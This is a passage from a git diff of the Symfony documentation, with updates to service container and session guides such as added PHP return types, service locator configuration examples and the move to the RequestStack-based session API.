@@ -51,7 +52,7 @@ And now a Twitter client using this transformer::
             $this->transformer = $transformer;
         }
 
-        public function tweet($user, $key, $status)
+        public function tweet(User $user, string $key, string $status): void
         {
             $transformedStatus = $this->transformer->transform($status);
 
@@ -129,6 +130,8 @@ Now, you can use the ``TwitterClient`` service immediately in a controller::
 
     use App\Service\TwitterClient;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class DefaultController extends AbstractController
@@ -136,7 +139,7 @@ Now, you can use the ``TwitterClient`` service immediately in a controller::
         /**
          * @Route("/tweet", methods={"POST"})
          */
-        public function tweet(TwitterClient $twitterClient)
+        public function tweet(TwitterClient $twitterClient, Request $request): Response
         {
             // fetch $user, $key, $status from the POST'ed data
 
@@ -283,7 +286,7 @@ To follow this best practice, suppose you decide to create a ``TransformerInterf
 
     interface TransformerInterface
     {
-        public function transform($value);
+        public function transform(string $value): string;
     }
 
 Then, you update ``Rot13Transformer`` to implement it::
@@ -383,7 +386,7 @@ Suppose you create a second class - ``UppercaseTransformer`` that implements
 
     class UppercaseTransformer implements TransformerInterface
     {
-        public function transform($value)
+        public function transform(string $value): string
         {
             return strtoupper($value);
         }
@@ -421,7 +424,7 @@ the injection::
             $this->transformer = $shoutyTransformer;
         }
 
-        public function toot($user, $key, $status)
+        public function toot(User $user, string $key, string $status): void
         {
             $transformedStatus = $this->transformer->transform($status);
 
@@ -518,6 +521,7 @@ the injection::
                 // want to use a named autowiring alias, wire it manually:
                 //     ->arg('$transformer', service(UppercaseTransformer::class))
                 // ...
+            ;
         };
 
 Thanks to the ``App\Util\TransformerInterface`` alias, any argument type-hinted
@@ -558,14 +562,14 @@ to inject the ``logger`` service, and decide to use setter-injection:
             private $logger;
 
             /**
-            * @required
-            */
-            public function setLogger(LoggerInterface $logger)
+             * @required
+             */
+            public function setLogger(LoggerInterface $logger): void
             {
                 $this->logger = $logger;
             }
 
-            public function transform($value)
+            public function transform($value): string
             {
                 $this->logger->info('Transforming '.$value);
                 // ...
@@ -584,12 +588,12 @@ to inject the ``logger`` service, and decide to use setter-injection:
             private $logger;
 
             #[Required]
-            public function setLogger(LoggerInterface $logger)
+            public function setLogger(LoggerInterface $logger): void
             {
                 $this->logger = $logger;
             }
 
-            public function transform($value)
+            public function transform($value): string
             {
                 $this->logger->info('Transforming '.$value);
                 // ...
diff --git a/service_container/calls.rst b/service_container/calls.rst
index df33cecc989..9f7ac768976 100644
--- a/service_container/calls.rst
+++ b/service_container/calls.rst
@@ -22,7 +22,7 @@ example::
     {
         private $logger;
 
-        public function setLogger(LoggerInterface $logger)
+        public function setLogger(LoggerInterface $logger): void
         {
             $this->logger = $logger;
         }
@@ -90,10 +90,7 @@ instead of mutating the object they were called on::
     {
         private $logger;
 
-        /**
-         * @return static
-         */
-        public function withLogger(LoggerInterface $logger)
+        public function withLogger(LoggerInterface $logger): self
         {
             $new = clone $this;
             $new->logger = $logger;
@@ -146,3 +143,31 @@ The configuration to tell the container it should do so would be like:
 
         $container->register(MessageGenerator::class)
             ->addMethodCall('withLogger', [new Reference('logger')], true);
+
+.. tip::
+
+    If autowire is enabled, you can also use annotations; with the previous
+    example it would be::
+
+        /**
+         * @required
+         * @return static
+         */
+        public function withLogger(LoggerInterface $logger)
+        {
+            $new = clone $this;
+            $new->logger = $logger;
+
+            return $new;
+        }
+
+    You can also leverage the PHP 8 ``static`` return type instead of the
+    ``@return static`` annotation. If you don't want a method with a
+    PHP 8 ``static`` return type and a ``@required`` annotation to behave as
+    a wither, you can add a ``@return $this`` annotation to disable the
+    *returns clone* feature.
+
+    .. versionadded:: 5.1
+
+        Support for the PHP 8 ``static`` return type was introduced in
+        Symfony 5.1.
diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index 4d959e93dc6..79f666a4237 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -52,7 +52,7 @@ and process the services inside the ``process()`` method::
 
         // ...
 
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // in this method you can manipulate the service container:
             // for example, changing some container service:
@@ -81,7 +81,7 @@ method in the extension)::
 
     class MyBundle extends Bundle
     {
-        public function build(ContainerBuilder $container)
+        public function build(ContainerBuilder $container): void
         {
             parent::build($container);
 
diff --git a/service_container/configurators.rst b/service_container/configurators.rst
index 6e76784a284..1ade37244c3 100644
--- a/service_container/configurators.rst
+++ b/service_container/configurators.rst
@@ -28,7 +28,7 @@ You start defining a ``NewsletterManager`` class like this::
     {
         private $enabledFormatters;
 
-        public function setEnabledFormatters(array $enabledFormatters)
+        public function setEnabledFormatters(array $enabledFormatters): void
         {
             $this->enabledFormatters = $enabledFormatters;
         }
@@ -45,7 +45,7 @@ and also a ``GreetingCardManager`` class::
     {
         private $enabledFormatters;
 
-        public function setEnabledFormatters(array $enabledFormatters)
+        public function setEnabledFormatters(array $enabledFormatters): void
         {
             $this->enabledFormatters = $enabledFormatters;
         }
@@ -65,7 +65,7 @@ in the application::
     {
         // ...
 
-        public function getEnabledFormatters()
+        public function getEnabledFormatters(): array
         {
             // code to configure which formatters to use
             $enabledFormatters = [...];
@@ -92,7 +92,7 @@ to create a configurator class to configure these instances::
             $this->formatterManager = $formatterManager;
         }
 
-        public function configure(EmailFormatterAwareInterface $emailManager)
+        public function configure(EmailFormatterAwareInterface $emailManager): void
         {
             $emailManager->setEnabledFormatters(
                 $this->formatterManager->getEnabledFormatters()
diff --git a/service_container/debug.rst b/service_container/debug.rst
index 635bbdfa9ae..e949f6234f9 100644
--- a/service_container/debug.rst
+++ b/service_container/debug.rst
@@ -29,7 +29,7 @@ its id:
 
 .. code-block:: terminal
 
-    $ php bin/console debug:container 'App\Service\Mailer'
+    $ php bin/console debug:container App\Service\Mailer
 
     # to show the service arguments:
-    $ php bin/console debug:container 'App\Service\Mailer' --show-arguments
+    $ php bin/console debug:container App\Service\Mailer --show-arguments
diff --git a/service_container/definitions.rst b/service_container/definitions.rst
index f90a185e1c5..160f92c8315 100644
--- a/service_container/definitions.rst
+++ b/service_container/definitions.rst
@@ -90,12 +90,12 @@ fetched from the container::
     // gets a specific argument
     $firstArgument = $definition->getArgument(0);
     
-    // adds a new argument with the name of the argument
-    // $argumentName = the name of the argument in the constructor
-    $argument = $definition->setArgument('$argumentName', $argumentValue);
+    // adds a new named argument
+    // '$argumentName' = the name of the argument in the constructor, including the '$' symbol
+    $definition = $definition->setArgument('$argumentName', $argumentValue);
 
     // adds a new argument
-    $definition->addArgument($argument);
+    $definition->addArgument($argumentValue);
 
     // replaces argument on a specific index (0 = first argument)
     $definition->replaceArgument($index, $argument);
diff --git a/service_container/expression_language.rst b/service_container/expression_language.rst
index 9ba64eee074..972d7286c88 100644
--- a/service_container/expression_language.rst
+++ b/service_container/expression_language.rst
@@ -67,7 +67,8 @@ to another service: ``App\Mailer``. One way to do this is with an expression:
             $services->set(MailerConfiguration::class);
 
             $services->set(Mailer::class)
-                ->args([expr("service('App\\Mail\\MailerConfiguration').getMailerMethod()")]);
+                // because of the escaping applied by PHP, you must add 4 backslashes for each original backslash
+                ->args([expr("service('App\\\\Mail\\\\MailerConfiguration').getMailerMethod()")]);
         };
 
 To learn more about the expression language syntax, see :doc:`/components/expression_language/syntax`.
diff --git a/service_container/factories.rst b/service_container/factories.rst
index 515e93f64b5..d2fda053923 100644
--- a/service_container/factories.rst
+++ b/service_container/factories.rst
@@ -26,7 +26,7 @@ object by calling the static ``createNewsletterManager()`` method::
 
     class NewsletterManagerStaticFactory
     {
-        public static function createNewsletterManager()
+        public static function createNewsletterManager(): NewsletterManager
         {
             $newsletterManager = new NewsletterManager();
 
@@ -181,7 +181,7 @@ factory service can be used as a callback::
     // ...
     class InvokableNewsletterManagerFactory
     {
-        public function __invoke()
+        public function __invoke(): NewsletterManager
         {
             $newsletterManager = new NewsletterManager();
 
@@ -204,7 +204,7 @@ method name:
 
             App\Email\NewsletterManager:
                 class:   App\Email\NewsletterManager
-                factory: '@App\Email\NewsletterManagerFactory'
+                factory: '@App\Email\InvokableNewsletterManagerFactory'
 
     .. code-block:: xml
 
@@ -220,7 +220,7 @@ method name:
 
                 <service id="App\Email\NewsletterManager"
                          class="App\Email\NewsletterManager">
-                    <factory service="App\Email\NewsletterManagerFactory"/>
+                    <factory service="App\Email\InvokableNewsletterManagerFactory"/>
                 </service>
             </services>
         </container>
@@ -237,7 +237,7 @@ method name:
             $services = $configurator->services();
 
             $services->set(NewsletterManager::class)
-                ->factory(service(NewsletterManagerFactory::class));
+                ->factory(service(InvokableNewsletterManagerFactory::class));
         };
 
 .. _factories-passing-arguments-factory-method:
diff --git a/service_container/import.rst b/service_container/import.rst
index f38c2a33525..b37c8360388 100644
--- a/service_container/import.rst
+++ b/service_container/import.rst
@@ -80,7 +80,8 @@ a relative or absolute path to the imported file:
         # config/services.yaml
         imports:
             - { resource: services/mailer.yaml }
-
+            # If you want to import a whole directory:
+            - { resource: services/ }
         services:
             _defaults:
                 autowire: true
@@ -103,6 +104,8 @@ a relative or absolute path to the imported file:
 
             <imports>
                 <import resource="services/mailer.xml"/>
+                <!-- If you want to import a whole directory: -->
+                <import resource="services/"/>
             </imports>
 
             <services>
@@ -122,6 +125,8 @@ a relative or absolute path to the imported file:
 
         return function(ContainerConfigurator $configurator) {
             $configurator->import('services/mailer.php');
+            // If you want to import a whole directory:
+            $configurator->import('services/');
 
             $services = $configurator->services()
                 ->defaults()
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index e4723faa610..1a0c5351d02 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -126,7 +126,7 @@ by cloning the original service, this approach allows you to make a service immu
          * @required
          * @return static
          */
-        public function withMailer(MailerInterface $mailer)
+        public function withMailer(MailerInterface $mailer): self
         {
             $new = clone $this;
             $new->mailer = $mailer;
@@ -220,7 +220,7 @@ that accepts the dependency::
 
     // src/Mail/NewsletterManager.php
     namespace App\Mail;
-    
+
     // ...
     class NewsletterManager
     {
@@ -229,7 +229,7 @@ that accepts the dependency::
         /**
          * @required
          */
-        public function setMailer(MailerInterface $mailer)
+        public function setMailer(MailerInterface $mailer): void
         {
             $this->mailer = $mailer;
         }
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 936316bb029..7b33bcdfcac 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -93,9 +93,9 @@ To check if your proxy works you can check the interface of the received object:
 
 .. note::
 
-    If you don't install the `ProxyManager bridge`_ and the
-    `ocramius/proxy-manager`_, the container will skip over the ``lazy``
-    flag and directly instantiate the service as it would normally do.
+    If you don't install the `ProxyManager bridge`_ , the container will skip
+    over the ``lazy`` flag and directly instantiate the service as it would
+    normally do.
 
 Additional Resources
 --------------------
@@ -106,5 +106,4 @@ in the `documentation of ProxyManager`_.
 .. _`ProxyManager bridge`: https://github.com/symfony/symfony/tree/master/src/Symfony/Bridge/ProxyManager
 .. _`proxy`: https://en.wikipedia.org/wiki/Proxy_pattern
 .. _`documentation of ProxyManager`: https://github.com/Ocramius/ProxyManager/blob/master/docs/lazy-loading-value-holder.md
-.. _`ocramius/proxy-manager`: https://github.com/Ocramius/ProxyManager
 .. _`final`: https://www.php.net/manual/en/language.oop5.final.php
diff --git a/service_container/optional_dependencies.rst b/service_container/optional_dependencies.rst
index ddafa1bb9d5..e05e050ba9c 100644
--- a/service_container/optional_dependencies.rst
+++ b/service_container/optional_dependencies.rst
@@ -113,7 +113,7 @@ In YAML, the special ``@?`` syntax tells the service container that the
 dependency is optional. The ``NewsletterManager`` must also be rewritten by
 adding a ``setLogger()`` method::
 
-        public function setLogger(LoggerInterface $logger)
+        public function setLogger(LoggerInterface $logger): void
         {
             // ...
         }
diff --git a/service_container/parent_services.rst b/service_container/parent_services.rst
index 619ac11452c..7df74b37a43 100644
--- a/service_container/parent_services.rst
+++ b/service_container/parent_services.rst
@@ -26,7 +26,7 @@ you may have multiple repository classes which need the
             $this->objectManager = $objectManager;
         }
 
-        public function setLogger(LoggerInterface $logger)
+        public function setLogger(LoggerInterface $logger): void
         {
             $this->logger = $logger;
         }
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index e228799e478..2459139ed70 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -87,7 +87,7 @@ a PSR-11 ``ContainerInterface``::
             $this->locator = $locator;
         }
 
-        public static function getSubscribedServices()
+        public static function getSubscribedServices(): array
         {
             return [
                 'App\FooCommand' => FooHandler::class,
@@ -130,7 +130,7 @@ service locator::
 
     use Psr\Log\LoggerInterface;
 
-    public static function getSubscribedServices()
+    public static function getSubscribedServices(): array
     {
         return [
             // ...
@@ -142,7 +142,7 @@ Service types can also be keyed by a service name for internal use::
 
     use Psr\Log\LoggerInterface;
 
-    public static function getSubscribedServices()
+    public static function getSubscribedServices(): array
     {
         return [
             // ...
@@ -159,7 +159,7 @@ typically happens when extending ``AbstractController``::
 
     class MyController extends AbstractController
     {
-        public static function getSubscribedServices()
+        public static function getSubscribedServices(): array
         {
             return array_merge(parent::getSubscribedServices(), [
                 // ...
@@ -176,7 +176,7 @@ errors if there's no matching service found in the service container::
 
     use Psr\Log\LoggerInterface;
 
-    public static function getSubscribedServices()
+    public static function getSubscribedServices(): array
     {
         return [
             // ...
@@ -246,9 +246,70 @@ service type to a service.
 Defining a Service Locator
 --------------------------
 
-To manually define a service locator, create a new service definition and add
-the ``container.service_locator`` tag to it. Use the first argument of the
-service definition to pass a collection of services to the service locator:
+To manually define a service locator and inject it to another service, create an
+argument of type ``service_locator``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\CommandBus:
+                arguments: !service_locator
+                    App\FooCommand: '@app.command_handler.foo'
+                    App\BarCommand: '@app.command_handler.bar'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\CommandBus">
+                    <argument type="service_locator">
+                        <argument key="App\FooCommand" type="service" id="sapp.command_handler.foo"/>
+                        <argument key="App\BarCommandr" type="service" id="app.command_handler.bar"/>
+                        <!-- if the element has no key, the ID of the original service is used -->
+                        <argument type="service" id="app.command_handler.baz"/>
+                    </argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\CommandBus;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(CommandBus::class)
+                ->args([service_locator([
+                    'App\FooCommand' => ref('app.command_handler.foo'),
+                    'App\BarCommand' => ref('app.command_handler.bar'),
+                    // if the element has no key, the ID of the original service is used
+                    ref('app.command_handler.baz'),
+                ])]);
+        };
+
+As shown in the previous sections, the constructor of the ``CommandBus`` class
+must type-hint its argument with ``ContainerInterface``. Then, you can get any of
+the service locator services via their ID (e.g. ``$this->locator->get('App\FooCommand')``).
+
+Reusing a Service Locator in Multiple Services
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you inject the same service locator in several services, it's better to
+define the service locator as a stand-alone service and then inject it in the
+other services. To do so, create a new service definition using the
+``ServiceLocator`` class:
 
 .. configuration-block::
 
@@ -334,7 +395,7 @@ service definition to pass a collection of services to the service locator:
     The services defined in the service locator argument must include keys,
     which later become their unique identifiers inside the locator.
 
-Now you can use the service locator by injecting it in any other service:
+Now you can inject the service locator in any other services:
 
 .. configuration-block::
 
@@ -376,6 +437,9 @@ Now you can use the service locator by injecting it in any other service:
                 ->args([service('app.command_handler_locator')]);
         };
 
+Using Service Locators in Compiler Passes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 In :doc:`compiler passes </service_container/compiler_passes>` it's recommended
 to use the :method:`Symfony\\Component\\DependencyInjection\\Compiler\\ServiceLocatorTagPass::register`
 method to create the service locators. This will save you some boilerplate and
@@ -385,7 +449,7 @@ will share identical locators among all the services referencing them::
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Reference;
 
-    public function process(ContainerBuilder $container)
+    public function process(ContainerBuilder $container): void
     {
         // ...
 
@@ -421,7 +485,7 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
                 tags:
                     - { name: 'app.handler', key: 'handler_two' }
 
-            App\HandlerCollection:
+            App\Handler\HandlerCollection:
                 # inject all services tagged with app.handler as first argument
                 arguments: [!tagged_locator { tag: 'app.handler', index_by: 'key' }]
 
@@ -563,8 +627,9 @@ Service Subscriber Trait
 
 The :class:`Symfony\\Contracts\\Service\\ServiceSubscriberTrait` provides an
 implementation for :class:`Symfony\\Contracts\\Service\\ServiceSubscriberInterface`
-that looks through all methods in your class that have no arguments and a return
-type. It provides a ``ServiceLocator`` for the services of those return types.
+that looks through all methods in your class that are marked with the
+:class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute. It
+provides a ``ServiceLocator`` for the services of each method's return type.
 The service id is ``__METHOD__``. This allows you to add dependencies to your
 services based on type-hinted helper methods::
 
@@ -573,6 +638,7 @@ services based on type-hinted helper methods::
 
     use Psr\Log\LoggerInterface;
     use Symfony\Component\Routing\RouterInterface;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
     use Symfony\Contracts\Service\ServiceSubscriberInterface;
     use Symfony\Contracts\Service\ServiceSubscriberTrait;
 
@@ -586,11 +652,13 @@ services based on type-hinted helper methods::
             // $this->logger() ...
         }
 
+        #[SubscribedService]
         private function router(): RouterInterface
         {
             return $this->container->get(__METHOD__);
         }
 
+        #[SubscribedService]
         private function logger(): LoggerInterface
         {
             return $this->container->get(__METHOD__);
@@ -604,9 +672,11 @@ and compose your services with them::
     namespace App\Service;
 
     use Psr\Log\LoggerInterface;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
 
     trait LoggerAware
     {
+        #[SubscribedService]
         private function logger(): LoggerInterface
         {
             return $this->container->get(__CLASS__.'::'.__FUNCTION__);
@@ -617,9 +687,11 @@ and compose your services with them::
     namespace App\Service;
 
     use Symfony\Component\Routing\RouterInterface;
+    use Symfony\Contracts\Service\Attribute\SubscribedService;
 
     trait RouterAware
     {
+        #[SubscribedService]
         private function router(): RouterInterface
         {
             return $this->container->get(__CLASS__.'::'.__FUNCTION__);
@@ -649,4 +721,12 @@ and compose your services with them::
     as this will include the trait name, not the class name. Instead, use
     ``__CLASS__.'::'.__FUNCTION__`` as the service id.
 
+.. deprecated:: 5.4
+
+    Defining your *subscribed service* methods with the
+    :class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute
+    was added in Symfony 5.4. Previously, any methods with no arguments and a
+    return type were *subscribed*. This still works in 5.4 but is deprecated (only
+    when using PHP 8) and will be removed in 6.0.
+
 .. _`Command pattern`: https://en.wikipedia.org/wiki/Command_pattern
diff --git a/service_container/synthetic_services.rst b/service_container/synthetic_services.rst
index 5a3ea59d276..59869d5d7f3 100644
--- a/service_container/synthetic_services.rst
+++ b/service_container/synthetic_services.rst
@@ -18,7 +18,7 @@ from within the ``Kernel`` class::
     {
         // ...
 
-        protected function initializeContainer()
+        protected function initializeContainer(): void
         {
             // ...
             $this->container->set('kernel', $this);
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 1c26f286237..94d7d2036b3 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -60,6 +60,8 @@ and many tags require additional arguments (beyond the ``name`` parameter).
 **For most users, this is all you need to know**. If you want to go further and
 learn how to create your own custom tags, keep reading.
 
+.. _di-instanceof:
+
 Autoconfiguring Tags
 --------------------
 
@@ -87,7 +89,7 @@ If you want to apply tags automatically for your own services, use the
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
             <services>
                 <!-- this config only applies to the services created by this file -->
@@ -126,7 +128,7 @@ In a Symfony application, call this method in your kernel class::
     {
         // ...
 
-        protected function build(ContainerBuilder $container)
+        protected function build(ContainerBuilder $container): void
         {
             $container->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
@@ -142,7 +144,7 @@ In a Symfony bundle, call this method in the ``load()`` method of the
     {
         // ...
 
-        public function load(array $configs, ContainerBuilder $container)
+        public function load(array $configs, ContainerBuilder $container): void
         {
             $container->registerForAutoconfiguration(CustomInterface::class)
                 ->addTag('app.custom_tag')
@@ -178,7 +180,7 @@ To begin with, define the ``TransportChain`` class::
             $this->transports = [];
         }
 
-        public function addTransport(\Swift_Transport $transport)
+        public function addTransport(\Swift_Transport $transport): void
         {
             $this->transports[] = $transport;
         }
@@ -305,7 +307,7 @@ container for any services with the ``app.mail_transport`` tag::
 
     class MailTransportPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // always first check if the primary service is defined
             if (!$container->has(TransportChain::class)) {
@@ -342,7 +344,7 @@ or from your kernel::
     {
         // ...
 
-        protected function build(ContainerBuilder $container)
+        protected function build(ContainerBuilder $container): void
         {
             $container->addCompilerPass(new MailTransportPass());
         }
@@ -373,16 +375,18 @@ To begin with, change the ``TransportChain`` class::
             $this->transports = [];
         }
 
-        public function addTransport(\Swift_Transport $transport, $alias)
+        public function addTransport(\Swift_Transport $transport, $alias): void
         {
             $this->transports[$alias] = $transport;
         }
 
-        public function getTransport($alias)
+        public function getTransport($alias): ?\Swift_Transport
         {
             if (array_key_exists($alias, $this->transports)) {
                 return $this->transports[$alias];
             }
+
+            return null;
         }
     }
 
@@ -478,7 +482,7 @@ use this, update the compiler::
 
     class TransportCompilerPass implements CompilerPassInterface
     {
-        public function process(ContainerBuilder $container)
+        public function process(ContainerBuilder $container): void
         {
             // ...
 
@@ -488,7 +492,7 @@ use this, update the compiler::
                 foreach ($tags as $attributes) {
                     $definition->addMethodCall('addTransport', [
                         new Reference($id),
-                        $attributes['alias']
+                        $attributes['alias'],
                     ]);
                 }
             }
@@ -594,8 +598,9 @@ application handlers::
 Tagged Services with Priority
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The tagged services can be prioritized using the ``priority`` attribute,
-thus providing a way to inject a sorted collection of services:
+The tagged services can be prioritized using the ``priority`` attribute. The
+priority is a positive or negative integer that defaults to ``0``. The higher
+the number, the earlier the tagged service will be located in the collection:
 
 .. configuration-block::
 
@@ -653,7 +658,7 @@ service itself::
         }
     }
 
-If you want to have another method defining the priority 
+If you want to have another method defining the priority
 (e.g. ``getPriority()`` rather than ``getDefaultPriority()``),
 you can define it in the configuration of the collecting service:
 
@@ -780,9 +785,9 @@ indexed by the ``key`` attribute:
         };
 
 After compilation the ``HandlerCollection`` is able to iterate over your
-application handlers. To retrieve a specific service by it's ``key`` attribute
-from the iterator, we can use ``iterator_to_array`` and retrieve the ``handler_two``:
-to get an array and then retrieve the ``handler_two`` handler::
+application handlers. To retrieve a specific service from the iterator, call the
+``iterator_to_array()`` function and then use the ``key`` attribute to get the
+array element. For example, to retrieve the ``handler_two`` handler::
 
     // src/Handler/HandlerCollection.php
     namespace App\Handler;
@@ -791,16 +796,16 @@ to get an array and then retrieve the ``handler_two`` handler::
     {
         public function __construct(iterable $handlers)
         {
-            $handlers = iterator_to_array($handlers);
+            $handlers = $handlers instanceof \Traversable ? iterator_to_array($handlers) : $handlers;
 
-            $handlerTwo = $handlers['handler_two']:
+            $handlerTwo = $handlers['handler_two'];
         }
     }
 
 .. tip::
 
     Just like the priority, you can also implement a static
-    ``getDefaultIndexAttributeName()`` method in the handlers and omit the
+    ``getDefaultIndexName()`` method in the handlers and omit the
     index attribute (``key``)::
 
         // src/Handler/One.php
@@ -840,7 +845,7 @@ to get an array and then retrieve the ``handler_two`` handler::
                     https://symfony.com/schema/dic/services/services-1.0.xsd">
 
                 <services>
-                    <!-- ... --!>
+                    <!-- ... -->
 
                     <service id="App\HandlerCollection">
                         <!-- use getIndex() instead of getDefaultIndexName() -->
diff --git a/session.rst b/session.rst
index 47e8cc3d269..de422ca6792 100644
--- a/session.rst
+++ b/session.rst
@@ -55,18 +55,20 @@ sessions, check their default configuration:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
                 // enables the support of sessions in the app
-                'enabled' => true,
+                ->enabled(true)
                 // ID of the service used for session storage
                 // NULL means that Symfony uses PHP default session mechanism
-                'handler_id' => null,
+                ->handlerId(null)
                 // improves the security of the cookies used for sessions
-                'cookie_secure' => 'auto',
-                'cookie_samesite' => 'lax',
-            ],
-        ]);
+                ->cookieSecure('auto')
+                ->cookieSamesite('lax')
+            ;
+        };
 
 Setting the ``handler_id`` config option to ``null`` means that Symfony will
 use the native PHP session mechanism. The session metadata files will be stored
@@ -112,13 +114,15 @@ session metadata files:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
                 // ...
-                'handler_id' => 'session.handler.native_file',
-                'save_path' => '%kernel.project_dir%/var/sessions/%kernel.environment%',
-            ],
-        ]);
+                ->handlerId('session.handler.native_file')
+                ->savePath('%kernel.project_dir%/var/sessions/%kernel.environment%')
+            ;
+        };
 
 Check out the Symfony config reference to learn more about the other available
 :ref:`Session configuration options <config-framework-session>`. You can also
@@ -127,65 +131,122 @@ Check out the Symfony config reference to learn more about the other available
 Basic Usage
 -----------
 
-Symfony provides a session service that is injected in your services and
+The session is available through the Request and the RequestStack.
+Symfony provides a request_stack service that is injected in your services and
 controllers if you type-hint an argument with
-:class:`Symfony\\Component\\HttpFoundation\\Session\\SessionInterface`::
+:class:`Symfony\\Component\\HttpFoundation\\RequestStack`::
 
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\HttpFoundation\RequestStack;
 
     class SomeService
     {
-        private $session;
+        private $requestStack;
 
-        public function __construct(SessionInterface $session)
+        public function __construct(RequestStack $requestStack)
         {
-            $this->session = $session;
+            $this->requestStack = $requestStack;
         }
 
         public function someMethod()
         {
+            $session = $this->requestStack->getSession();
+
             // stores an attribute in the session for later reuse
-            $this->session->set('attribute-name', 'attribute-value');
+            $session->set('attribute-name', 'attribute-value');
 
             // gets an attribute by name
-            $foo = $this->session->get('foo');
+            $foo = $session->get('foo');
 
             // the second argument is the value returned when the attribute doesn't exist
-            $filters = $this->session->get('filters', []);
+            $filters = $session->get('filters', []);
 
             // ...
         }
     }
 
-.. tip::
+.. deprecated:: 5.3
 
-    Every ``SessionInterface`` implementation is supported. If you have your
-    own implementation, type-hint this in the argument instead.
+    The ``SessionInterface`` and ``session`` service were deprecated in
+    Symfony 5.3. Instead, inject the ``RequestStack`` service to get the session
+    object of the current request.
 
 Stored attributes remain in the session for the remainder of that user's session.
 By default, session attributes are key-value pairs managed with the
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
 class.
 
+.. deprecated:: 5.3
+
+    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
+    If you need this feature, you will have to implement the class yourself.
+
 If your application needs are complex, you may prefer to use
 :ref:`namespaced session attributes <namespaced-attributes>` which are managed with the
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
-class. Before using them, override the ``session`` service definition to replace
-the default ``AttributeBag`` by the ``NamespacedAttributeBag``:
+class. Before using them, override the ``session_listener`` service definition to build
+your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAttributeBag``:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
         # config/services.yaml
-        session:
-            public: true
-            class: Symfony\Component\HttpFoundation\Session\Session
-            arguments: ['@session.storage', '@session.namespacedattributebag']
+        session.factory:
+            autoconfigure: true
+            class: App\Session\SessionFactory
+            arguments:
+            - '@request_stack'
+            - '@session.storage.factory'
+            - ['@session_listener', 'onSessionUsage']
+            - '@session.namespacedattributebag'
 
         session.namespacedattributebag:
             class: Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag
 
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="session" class="Symfony\Component\HttpFoundation\Session\Session" public="true">
+                    <argument type="service" id="session.storage"/>
+                    <argument type="service" id="session.namespacedattributebag"/>
+                    <argument type="service" id="session.flash_bag"/>
+                </service>
+
+                <service id="session.namespacedattributebag"
+                    class="Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag"
+                />
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
